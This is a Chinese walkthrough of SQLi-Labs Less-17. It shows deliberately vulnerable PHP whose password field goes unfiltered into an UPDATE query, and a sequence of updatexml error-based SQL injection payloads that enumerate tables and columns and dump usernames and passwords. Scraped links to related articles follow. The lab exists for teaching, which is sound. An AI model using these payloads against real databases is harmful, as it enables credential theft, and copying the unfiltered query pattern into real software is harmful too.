// take the variables//接受变量
// //也就是插入post提交的uname和passwd,参见:https://www.w3school.com.cn/sql/sql_insert.asp
if(isset($_POST['uname']) && isset($_POST['passwd'])) {
//making sure uname is not injectable//使用了check_input函数,确保了uname不可注入
$uname=check_input($_POST['uname']);
//73步中没有对passwd进行像uname一样的过滤,导致passwd可以注入
$passwd=$_POST['passwd']; //logging the connection parameters to a file for analysis.//将连接参数记录到文件中进行分析。
//fopen默认是打开文件result.txt,权限<a>是不会覆盖原文件,当文本不存在时就创建文本
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp); // connectivity //连通性
// sql查询语句
// 从表users中的username列的$uname行查询username和password
// LIMIT用来限制sql查询后返回结果的数量,LIMIT 0,1指从第0位开始返回1条数据
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
//mysql_query — 发送一条 MySQL 查询,但是在php5.5.0之后就废弃,换为了mysqli_query和PDO::query
//90行,执行查询
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
//update用于修改表中的数据,参见:https://www.w3school.com.cn/sql/sql_update.asp
//更新表uses中的列password为$passwd,在和列username中$row1同行的位置
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
//下面这句执行查询语句真不知道是查询什么,updata用来更新数据,查询updata,好像没意义
mysql_query($update);
echo "<br>";

部分源码如上

uname被过滤源码没放出来就省略,但是passwd没有被过滤,可以对passwd进行注入

我们是有updatexml报错注入

查数据库版本

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#&submit=Submit

查数据库

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#&submit=Submit

查表~可以看到被限制了查询数据的量

uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema='security' )),0)%23&submit=Submit

使用LIMIT 来控制查询数量

查表

 uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema='security' limit 0,1)),0)%23&submit=Submit 

limit 0,1 限制查询从0开始的往后一个表,也就是第一个表为 emils

依次测试以后,可以查到很多表~limit 3,1~也就是第4个表~就是我们想查的表users

查列

uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema. columns WHERE table_name='users' and table_schema='security' limit 0,1)),0)%23&submit=Submit

LIMIT 0.1

LIMIT 1,1

LIMIT 2.1

查列下的字段内容

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select concat(id,username,password) from security.users limit 0,1),0x7e),1) %23&submit=Submit

回显不能使用from指定更新的目标表 users

查询其他表是可以正常查询的

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select concat(id,email_id) from security.emails limit 0,1),0x7e),1) %23&submit=Submit

创建一个新的零时表tmp用于查询,就可以解决上面的问题

uname=admin&passwd=chybeta' and updatexml(1,concat(0x7e,(SELECT group_concat(0x3a,username,0x3a,password,0x23) FROM (select * from users)tmp ),0x7e),1)#&submit=Submit

(select * from users )tmp   :为创建一个新的表tmp

SELECT group_concat(0x3a,username,0x3a,password,0x23) FROM <表名> :为查询表中的数据

updatexml有长度限制,最长32位

特别感谢chybeta:https://chybeta.github.io/2017/08/23/Sqli-Labs-Less17-writeup/

updataxml报错注入的更多相关文章

  1. Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]

    在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...

  2. 又一种Mysql报错注入

    from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ...

  3. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  4. cmseasy CmsEasy_5.6_20151009 无限制报错注入(parse_str()的坑)

    来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137013.html parse_str()引发的注入, //parse_str()的作用是 ...

  5. sql报错注入:extractvalue、updatexml报错原理

    报错注入:extractvalue.updatexml报错原理 MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue.updatexml 名称 描述 Ext ...

  6. sqli注入--利用information_schema配合双查询报错注入

    目录 sqli-labs 5.6双查询报错注入通关 0x01 获取目标库名 0x02 获取库中表的数量 0x03 获取库中表名 0x04 获取目标表中的列数 0x05 获取目标表的列名 0x06 从列 ...

  7. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  8. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

  9. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

随机推荐

  1. 字符串类型:char,varchar,text,enum,set

    字符串类型 1.char 格式:char (M) 2.varchar 格式:varchar (M) [注意]M表示允许的字符串长度[65535].M表示的是字符数,而不是字节数.但是最大长度的使用是按 ...

  2. yii2时区语言设置

    main.php return [ 'charset' => 'utf-8', 'language' => 'zh-CN', 'timeZone' => 'Asia/Shanghai ...

  3. 解密国内BAT等大厂前端技术体系-美团点评之下篇(长文建议收藏)

    引言 在上篇中,我已经介绍了美团点评的业务情况.大前端的技术体系,其中大前端的技术全景图如下: 上篇重点介绍了工程化和代码质量的部分,工程化涵盖了客户端持续集成平台-MCI.全端监控平台-CAT.移动 ...

  4. 小白学 Python 爬虫(27):自动化测试框架 Selenium 从入门到放弃(上)

    人生苦短,我用 Python 前文传送门: 小白学 Python 爬虫(1):开篇 小白学 Python 爬虫(2):前置准备(一)基本类库的安装 小白学 Python 爬虫(3):前置准备(二)Li ...

  5. Java生鲜电商平台-生鲜电商高并发下的接口幂等性实现与代码讲解

    Java生鲜电商平台-生鲜电商高并发下的接口幂等性实现与代码讲解 说明:Java生鲜电商平台-生鲜电商高并发下的接口幂等性实现与代码讲解,实际系统中有很多操作,是不管做多少次,都应该产生一样的效果或返 ...

  6. spark实验(五)--Spark SQL 编程初级实践(1)

    一.实验目的 (1)通过实验掌握 Spark SQL 的基本编程方法: (2)熟悉 RDD 到 DataFrame 的转化方法: (3)熟悉利用 Spark SQL 管理来自不同数据源的数据. 二.实 ...

  7. 制作PPT时的一些技巧记录

    1.当一页PPT上有很多图片,要选择其中一张图片时,发现图片都重叠了,不好选择时该怎么办? 2.对动画的编辑 技巧:与选择窗口配合使用

  8. JAVA基础学习(7)之函数

    7函数 7.1函数定义与调用 7.1.1函数定义 7.1.2函数调用 package com.study.main; public class ObjectStudy { public static ...

  9. 201771010135 杨蓉庆/张燕《面对对象程序设计(java)》第十三周学习总结

    1.实验目的与要求 (1) 掌握事件处理的基本原理,理解其用途: (2) 掌握AWT事件模型的工作机制: (3) 掌握事件处理的基本编程模型: (4) 了解GUI界面组件观感设置方法: (5) 掌握W ...

  10. Blockchain technology and Application

    BTC-密码学原理 比特币本质:crypto currency[加密货币] 比特币用到的两个功能: 1.哈希 crypto graphic hash function 2.签名(非对称加密) 哈希cr ...